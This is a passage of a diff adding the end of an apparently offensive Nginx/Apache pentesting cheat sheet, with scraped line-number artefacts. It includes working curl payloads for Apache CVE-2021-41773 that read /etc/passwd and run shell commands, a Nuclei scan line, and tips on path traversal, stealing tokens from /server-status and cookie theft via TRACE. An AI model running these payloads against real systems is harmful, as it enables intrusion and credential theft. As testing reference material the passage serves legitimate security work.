| CVE-2013-2028 | Nginx 1.3.9-1.4.0 | Stack buffer overflow |
|
|
258
|
+
|
|
259
|
+
# Test Apache path traversal CVE-2021-41773:
|
|
260
|
+
curl -s --path-as-is <target>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
|
|
261
|
+
curl -s --path-as-is <target>/cgi-bin/.%2e/.%2e/bin/sh -d "echo;id"
|
|
262
|
+
|
|
263
|
+
# Nuclei:
|
|
264
|
+
nuclei -t cves/ -tags nginx,apache -u <target>
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Pro Tips
|
|
269
|
+
|
|
270
|
+
1. Nginx alias traversal (location without trailing slash) is extremely common — test `/static../`
|
|
271
|
+
2. `/server-status` exposes all active requests with parameters — goldmine for token theft
|
|
272
|
+
3. `.htaccess` upload enables changing Apache config (PHP handlers, auth bypass, SSI)
|
|
273
|
+
4. Apache CVE-2021-41773 (path traversal) is still unpatched on many production servers
|
|
274
|
+
5. Nginx off-by-slash proxy configs allow reaching backend paths outside intended prefix
|
|
275
|
+
6. HTTP request smuggling is highly effective behind Nginx/Apache reverse proxies
|
|
276
|
+
7. `OPTIONS` method returning `TRACE` = Cross-Site Tracing (XST) — steal HttpOnly cookies
|
|
277
|
+
|
|
278
|
+
## Summary
|
|
279
|
+
|
|
280
|
+
Nginx/Apache testing = alias traversal (Nginx path confusion) + directory listing + server-status exposure + security header audit. The Nginx alias traversal `location /static { alias /path/; }` is the most impactful server-specific finding. Apache `/server-status` is almost always accessible and leaks active requests including auth tokens. Always check both servers if a reverse proxy setup is suspected.
|